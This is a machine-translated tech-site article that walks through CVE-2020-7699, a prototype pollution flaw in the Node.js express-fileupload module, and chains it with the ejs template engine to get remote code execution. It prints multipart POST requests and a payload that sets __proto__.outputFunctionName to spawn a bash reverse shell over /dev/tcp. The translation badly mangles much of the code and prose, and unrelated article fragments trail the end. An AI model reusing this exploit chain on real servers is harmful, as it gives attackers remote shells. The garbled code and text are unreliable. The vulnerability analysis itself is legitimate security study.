In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
How to carry out CVE-2020-7699 loophole analysis, many novices are not very clear about this, in order to help you solve this problem, the following editor will explain for you in detail, people with this need can come to learn, I hope you can gain something.
Vulnerability Analysis of CVE-2020-7699 I. brief introduction
CVE-2020-7699:NodeJS module code injection
This vulnerability is caused entirely by Nodejs's express-fileupload module. Versions prior to 1.1.8 of this module have a prototype chain contamination (Prototype Pollution) vulnerability. Of course, a certain configuration is required to cause this vulnerability: the parseNested option is set to true.
This vulnerability can lead to DOS denial of service attacks. With ejs template engine, RCE can be achieved.
Second, vulnerability source code analysis
If you want to reproduce it, you need to download a lower version of the express-fileupload module.
Npm i express-fileupload@1.1.7-alpha.4
Source code that caused the vulnerability: (key part)
Busboy.on ('finish', () = > {debugLog (options, `Busboy finished parsing request. `); if (options.parseNested) {req.body = processNested (req.body); req.files = processNested (req.files);} if (! req [waitFlushProperty]) return next (); Promise.all (Req [waitFlushProperty]) .then (() = > {delete req [waitFlushProperty]; next () ) .catch (err = > {delete req [waitFlushProperty]; debugLog (options, `Error while waiting files flush: ${err} `); next (err);}); function processNested (data) {if (! data | | data.length
< 1) return {}; let d = {}, keys = Object.keys(data); //获取键名,列表 for (let i = 0; i < keys.length; i++) { let key = keys[i], value = data[key], current = d, keyParts = key .replace(new RegExp(/\[/g), '.') .replace(new RegExp(/\]/g), '') .split('.'); for (let index = 0; index < keyParts.length; index++){ let k = keyParts[index]; if (index >= keyParts.length-1) {current [k] = value;} else {if (! current [k]) current [k] =! isNaN (keyparts [current + 1])? []: {}; current = current [k];}} return d;}
In fact, the contamination of the prototype chain is caused by this porcessNested method, the usage of this function:
For example, the parameter passed in is: {"a.b.c": "m1sn0w"} after passing this function, it returns "{a: {b: {c: 'm1sn0w'} actually it is similar to that merge function, which is called in a loop. So there is prototype chain contamination input parameter: {"_ _ proto__.m1sn0w": "m1sn0w"} and then the value returned by calling console.log (Object.__proto__.m1sn0w) is m1sn0w
At this point, it is clear that as long as the function processNested is called, and if the parameters of the function are controllable, the purpose of prototype chain contamination can be achieved. Therefore, here we will introduce the prerequisites for the formation of this vulnerability. The parseNested configuration option should be set to true, for example:
Const fileUpload = require ('express-fileUpload') var express = require (' express') app = express () app.use (fileUpload ({parseNested: true})) app.get ('/', (req,res) = > {res.end ("m1sn0w")})
Observe the first part of the code at the top. If the parseNested parameter is true, the processNested function is called, and the argument is req.body or req.files.
Req.body is the body of nodejs parsing post request. Req.files obtains the information of uploaded files.
Either way is fine. Use the req.files parameter first (req.body will be used in the later RCE)
About req.files parameters, for example: POST requests to upload files
POST / HTTP/1.1Host: 192.168.0.101:7778User-Agent: Mozilla/5.0 (X11; Linux x86: 64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.0.101:7778/Content-Type: multipart/form-data Boundary=--1546646991721295948201928333Content-Length: 336Connection: closeUpgrade-Insecure-Requests: 1--1546646991721295948201928333Content-Disposition: form-data; name= "upload" Filename= "m1sn0w.txt" Content-Type: text/plainaaa--1546646991721295948201928333Content-Disposition: form-data; name= "username"-- 1546646991721295948201928333
You can observe that the value of req.files is:
{upload: {name: 'm1sn0w.txtbrush, data:, size: 4, encoding:' 7bitbones, tempFilePath:'', truncated: false, mimetype: 'text/plain', md5:'.' Mv: [Function: mv]}}
Change the above upluod parameter to
_ _ proto__.toString then the result will change back to: {_ _ proto__.toString: {. }}
Because parseNested is set, the processNested function is called automatically, resulting in contamination of the prototype chain.
Equivalent to:
{} [_ _ proto__] [toString] = {. }
When we visit the page again, we return a 500th error (because the toString method has changed)
Third, use ejs for RCE
There is a vulnerability in ejs template engine that exploits prototype contamination for RCE (this vulnerability has not been fixed yet, probably because the prerequisite for exploitation is the existence of a prototype chain contamination point)
Let's first analyze the source code of this vulnerability caused by ejs: (the key parts are extracted here)
Compile: function () {/ * * @ type {string} * / var src; / * * @ type {ClientFunction} * / var fn; var opts = this.opts; var prepended ='; var appended ='; / * * @ type {EscapeCallback} * / var escapeFn = opts.escapeFunction; / * @ type {FunctionConstructor} * / var ctor If (! this.source) {this.generateSource (); prepended + = 'var _ output = ";\ n' +' function _ append (s) {if (s! = = undefined & & s! = null) _ output + = s}\ n; if (opts.outputFunctionName) {prepended + = 'var' + opts.outputFunctionName +'= _ append;' +'\ n' } if (opts.destructuredLocals & & opts.destructuredLocals.length) {var destructuring = 'var _ locals = (' + opts.localsName +'| | {}), for (var I = 0; I
< opts.destructuredLocals.length; i++) { var name = opts.destructuredLocals[i]; if (i >0) {destructuring + =',\ nregions;} destructuring + = name +'= _ locals.' + name;} prepended + = destructuring +';\ nregions;} if (opts._with! = = false) {prepended + = 'with (' + opts.localsName +'| | {}) {'+'\ nregions; appended + ='}'+'\ n' } appended + = 'return _ output;' +'\ nregions; this.source = prepended + this.source + appended;}} src = this.source ctor = Function fn = new ctor (opts.localsName +', escapeFn,include,rethrow',src); fn.apply (opts.context, [data | | {}, escapeFn,include,rethrow])
Can be analyzed from the bottom up:
The fn method is called, and if the src parameter is controllable, you can customize the function
The value of the src parameter comes from this.source
From the top method, this.source = prepended + this.source + appended
In fact, the whole function above is concatenating this.source. The most important part is here:
If (! this.source) {this.generateSource (); prepended + = 'var _ output = ";\ n' +' function _ _ append (s) {if (s! = = undefined & & s! = null) _ output + = s}\ nregions; if (opts.outputFunctionName) {prepended + = 'var' + opts.outputFunctionName +'= _ append;' +'\ nregions;}}
What you're actually using is this:
Prepended + = 'var' + opts.outputFunctionName +'= _ _ append;' +'\ n'
Through global analysis, opts.outputFunctionName is not initially assigned. If there is a prototype chain contamination vulnerability, we can customize this value and construct payload:
Opts.outputFunctionName = xposition console.log (1); process.mainModule.require ('child_process'). Exec (' {cmd}'); x
If you take a closer look, why the beginning and the end of x? In fact, it is the splicing above to form a complete js statement.
Now let's take a look at how to use ejs to achieve RCE through the prototype chain contamination above.
Req.body is used here instead of req.files.
For example, the POST request is constructed here:
POST / HTTP/1.1Host: 192.168.0.101:7778User-Agent: Mozilla/5.0 (X11; Linux x86: 64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.0.101:7778/Content-Type: multipart/form-data Boundary=--1546646991721295948201928333Content-Length: 339Connection: closeUpgrade-Insecure-Requests: 1--1546646991721295948201928333Content-Disposition: form-data; name= "upload" Filename= "m1sn0w.txt" Content-Type: text/plainaaa--1546646991721295948201928333Content-Disposition: form-data; name= "username" 123Murray 1546646991721295948201928333 Murray-
Returned via req.body is
{username: '123'}
Let's change the above username to
_ _ proto__.outputFunctionName
The value of 123 is changed to:
Exec ('bash-c "bash-I & > / dev/tcp/ip/prot 0 > & 1"'); x
When we initiate the request again, a shell will be bounced back on the specified host to achieve the purpose of RCE.
Is it helpful for you to read the above content? If you want to know more about the relevant knowledge or read more related articles, please follow the industry information channel, thank you for your support.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.